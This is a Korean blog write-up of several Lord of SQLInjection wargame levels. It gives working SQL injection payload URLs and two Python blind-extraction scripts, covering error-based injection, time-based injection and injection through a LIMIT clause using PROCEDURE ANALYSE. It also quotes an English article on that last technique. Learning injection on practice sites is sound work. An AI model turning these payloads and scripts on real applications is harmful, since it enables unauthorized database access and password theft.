webhacking/sql, sql injection

Lord Of SQLinjection iron_golem~evil_wizard

qkqhxla1 2015. 2. 3. 13:45

http://leaveret.kr/los/gate.php


iron_golem

앞의 xavius였나 그거와 같은 한글+에러기반 인젝션.

http://leaveret.kr/los/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=%27%20or%20if(substr(pw,1,1)=%27%EB%A3%A8%27,1,(select%201%20union%20select%202))%20%23


답은 '루비꺼야!빼애애애애애애애액!!!' 이다. 한글이 아닌 중간에 !도 있으니 알아서 주의해서 찾을것.



dark_eyes

# -*- encoding: cp949 -*-
import urllib2

answer = ''
for i in range(1,9):
    for j in range(32,128):
        print i,j,answer
        req = urllib2.Request('http://leaveret.kr/los/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw=%27%20or%20id=%27admin%27%20and%20coalesce(ascii(substr(pw,'+str(i)+',1))='+str(j)+'%20or%20null,%20(select%201%20union%20select%202))%23')
        req.add_header('cookie','PHPSESSID=6oqbqputib7oajbn4hgj7jso71')
        page = urllib2.urlopen(req).read()
        if page.find('query :') != -1:
            answer += chr(j)
            break
print answer


hell_fire

<?php
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/_|\.|\(\)/i'$_GET[limit])) exit("No Hack ~_~");
  if(
preg_match('/union|where|evilwizard/i'$_GET[limit])) exit("hehe");
  if(
$_GET[limit]) $limit $_GET[limit];
  else 
$limit 1;
  
$query "select id from probhellfire where id='admin' limit {$limit}";
  
$result = @mysql_fetch_array(mysql_query($query));
  if(
mysql_error()) exit(mysql_error());
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>";
  
  
$_GET[pw] = addslashes($_GET[pw]);
  
$query "select pw from probhellfire where id='admin' and pw='{$_GET[pw]}'";
  
$result = @mysql_fetch_array(mysql_query($query));
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("hell_fire");
  
highlight_file(__FILE__);
?>

limit에 인젝션을 하는 문제이다. 그런데 union을 쓸 수 없다. 한참 몇일을 고민하다가 sql injection limit clause 라는 키워드로 검색을 했는데 엄청난 문서가 나왔다.

https://rateip.com/blog/sql-injections-in-mysql-limit-clause/ 에서 퍼옴.


SQL Injections in MySQL LIMIT clause

Countless number of articles was written on the exploitation of SQL Injections. This post is dedicated to a very specific situation. When assessing the severity of SQL Injection in certain application, I encountered a problem, which I was not able to solve quickly using web search. It’s about a question if SQL injection vulnerability in the LIMIT clause in MySQL 5.x database is currently exploitable.

Example query:

Of course, important is the fact that the above query contains ORDER BY clause. In MySQL we cannot use ORDER BY before UNION. If ORDER BY was not there it would be actually very easy to exploit it simply using just UNION syntax. The problem has appeared at stackoverflow and it was discussed at sla.ckers too. Sorry no results.

So let’s look at the syntax of the SELECT in the MySQL 5 documentation

After the LIMIT clause may occur following clauses: PROCEDURE and INTO. This INTO clause is not interesting, unless the application uses a database account with permission to write files, which nowadays is rather rare situation in the wild. It turns out that it is possible to solve our problem using PROCEDURE clause.

The only stored procedure available by default in MySQL is ANALYSE  (seedocs).

Let’s give it a try:

ANALYSE procedure can also take two parameters:

Does not bode us well. Let’s see whether the parameters of ANALYSE are evaluated.

gives us immediate response:

Therefore, sleep() is certainly not being called. I didn’t give up so fast and I finally found the vector:

Voilà! The above solution is based on handy known technique of so-called error based injection. If, therefore, our vulnerable web application discloses the errors of the database engine (this is a real chance, such bad practices are common), we solve the problem. What if our target doesn’t display errors? Are we still able to exploit it successfully?

It turns out that we can combine the above method with another well-known technique – time based injection. In this case, our solution will be as follows:

It works. What is interesting that using SLEEP is not possible in this case. That’s why there must be a BENCHMARK instead.

Update: As BigBear pointed out in the comment, very similar solution was actually posted earlier on rdot. Thanks!

Update: It would be awesome if this technique is implemented in sqlmap.


영어로 설명이 잘 나와있다. 즉 다 읽어보면 limit뒤에 procedure analyse()가 있는데 거기다가 인젝션을 할 수 있다는 소리이다. 위의 쿼리문을 보면 extractvalue에다가 할수 있다고 한다.

?limit= 0,1 PROCEDURE analyse((select extractvalue(1,concat(1,(select pw from probhellfire limit 0,1)))),1);

삽질을 하다 이렇게 쿼리를 짜면 비밀번호가 나오는걸 발견했다. 근데 이게 길이가 길어서 짤려서 나오는거다.

wwwwwwwwwwoooooowwwwwwwwwwwGoodJ이 보이는데 이게 다가 아니다.....

extractvalue내부의 concat내부의 pw를 substr로 조금씩 뽑아오면 된다.

http://leaveret.kr/los/hell_fire_309d5f471fbdd4722d221835380bb805.php?limit=0,1%20PROCEDURE%20analyse((select%20extractvalue(1,concat(0xa,(select%20substr(pw,30,35)%20from%20probhellfire%20limit%200,1),0x9))),1)


그러면wwwwwwwwwwoooooowwwwwwwwwwwGoodJobNiceHackerrrrrrrrzzzzzzzzzzzzYouDidThisShitLOLLLLLLLLLLLLLLLLLLLLLLL 라는 엄청나게 긴 답이 나온다.



evil_wizard

위와 같다. 그런데 다른점은 에러를 출력하지 않는다. 위의 사이트를 봤으면 시간 기반 인젝션으로 가능하다는걸 알 수 있다. sleep이 아니라 benchmark를 써야 한다.



나의 테이블에서 첫번째 pw의 첫번째글자는 1이다. 아래의 두개의 benchmark예시를 직접 돌려보면 차이점을 알 수 있다. 위의 benchmark는 옳을때 실행되느라 시간이 조금 걸린다. 쿼리 첨부.

SELECT id FROM probhellfire WHERE id='admin' LIMIT 0,1 PROCEDURE analyse((select extractvalue(1,concat(if((select substr(pw,1,1) from probhellfire limit 0,1)='1',benchmark(500000,sha(1)),0xa),0xa))),1);


어쨋든 이러한 알고리즘으로 하면 되고 예시로 los사이트에 돌려 본 결과 benchmark를 500만번 돌리면 1.6초정도가 시간이 걸린다. 그러면 하나씩 대입해서 응답시간이 1.5초정도보다 더 걸리는걸 답으로 인식하면 된다. 

그런데 우리는 admin이 위에있는지 아래에 있는지 모른다. 그러므로 위하고 아래에 있는 pw를 다 구해보면 된다.

위의 pw를 구할때는 limit 0,1로 돌리면 될것이고, 아래의 pw는 limit 1,1로 구하면 될것이다. 

# -*- encoding: cp949 -*-
import urllib2,time
answer = ''
for i in range(1,50):
    for j in range(32,128):
        print i,j,answer
        start = time.time()
        req = urllib2.Request('http://leaveret.kr/los/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?limit=0,1%20PROCEDURE%20analyse((select%20extractvalue(1,concat(if((select%20ascii(substr(pw,'+str(i)+',1))%20from%20probevilwizard%20limit%201,1)='+str(j)+',benchmark(5000000,sha(1)),0xa),0xa))),1);')
        req.add_header('cookie','PHPSESSID=rhgtnlrq0d6vcg44jqnajt2go6')
        urllib2.urlopen(req).read()
        gap = time.time()-start
        if gap > 1.5:
            answer += chr(j)
            break
print answer

내가 짠 코딩이다. (답은 limit 1,1에, 즉 아래쪽에 있었다.) 길이는 구하기 귀찮아서 50개 이내로 있겠다고 생각하고 돌려봤다. f1dd54ed라는 답이 나온다!!



딱 10등.